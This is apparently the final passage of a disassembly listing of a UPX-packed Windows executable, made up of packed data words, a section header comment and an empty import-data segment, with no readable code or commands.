9C1C32A5h, 0F7B1CA50h dd 0BB806B8Ah, 0B4CFFCCAh, 0FC44D39Dh, 0DF865CEBh, 0BCA248BCh dd 0B4A3DB87h, 5F7C2097h, 0A48824A6h, 8710E171h, 0E1ED28F5h dd 0BCA4D271h, 670AA262h, 641AC9AAh, 478EDAF6h, 97ECA826h dd 6478CC16h, 0E518C8E1h, 66D7F82Fh, 3F250975h, 56E7229Bh dd 0DBC01020h, 9437DCE2h, 0DC5CB0B5h, 37AC7C23h, 9CE808DCh dd 13460E9Fh, 2CAD9468h, 96E2683Bh, 1224B589h, 0C0FBEF11h dd 9CCC601Ch, 811ACC73h, 0CFDDAAC7h, 53B66836h, 0EC3D54D8h dd 541228ABh, 26ABF5F9h, 0AE2CDA40h, 0ABDEE697h, 0B3008108h dd 0E722203h, 57D1DAA9h, 9EFFF41Fh, 4CC0677Fh, 2E4CFDEAh dd 0CB5E98A7h, 0E3564F81h, 0C4FB7ACh, 3348B0E3h, 34A84A7Ah dd 851AF3Dh, 2B32B8C9h, 3CBE264Ch, 0E443D527h, 511CA037h dd 24286056h, 0E6EA3111h, 0B8B3475Fh, 0C35400EFh, 849CCE6Eh dd 0B0453F49h, 0BB3E08D5h, 8CB25670h, 0BC6F4533h, 0B32830C0h dd 0B434207Ah, 693B861Dh, 540216C9h, 0EE3C253Ah, 0C7AED817h dd 5CFC30BDh, 0B520D5A3h, 34170D70h, 94BE382Fh, 3CB15182h dd 9182F8CEh, 0A45383E9h, 5116888h, 0C797040h, 64878B13h dd 0B9088A61h, 58D79EB3h, 0DC85CD9h, 3C92BB3Eh, 0D3BFFF5Dh dd 31665D92h, 34234FCFh, 0CBD5F751h, 0A1874EB0h, 0F6F2EE67h dd 3C1435D5h, 318A08BBh, 994F3FF6h, 60BA936Eh, 0D4F9FD95h dd 7F9AD8B2h, 0CD8E2811h, 0D7347EB5h, 0FCEC86F8h, 0DFD2D72Bh dd 0FE20EABDh, 0F6FB2797h, 0DFBC202Bh, 8A8B80A7h, 5067DFEDh dd 0A2253B8Ah, 46967849h, 6BAA1764h, 0D6FBF16h, 0C4AA20F4h dd 0ADC7F085h, 747A676Bh, 0CCD54821h, 4D4F86Fh, 7C54E8BDh dd 0C45AA80Bh, 0EE000059h dd 1F65883h, 349CB0F4h, 34EA0840h, 1384C53h, 298A9C8Bh dd 3C2C9303h, 7C427107h, 0EC70C0C9h, 749A4C9Ch, 1D16FB38h dd 0E463AE5Eh, 0AC4FC801h, 669787B0h, 0FB42D099h, 51932AE8h dd 8F701DFh, 15FFC9C2h, 100107Ch, 0FF8Bh, 24Eh dup(0) dd 0FFE00000h, 12h, 130Ah dup(0) UPX2 ends ; Section 4. (virtual address 0001A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3144A000h dd 80h dup(0) align 1000h _idata2 ends end start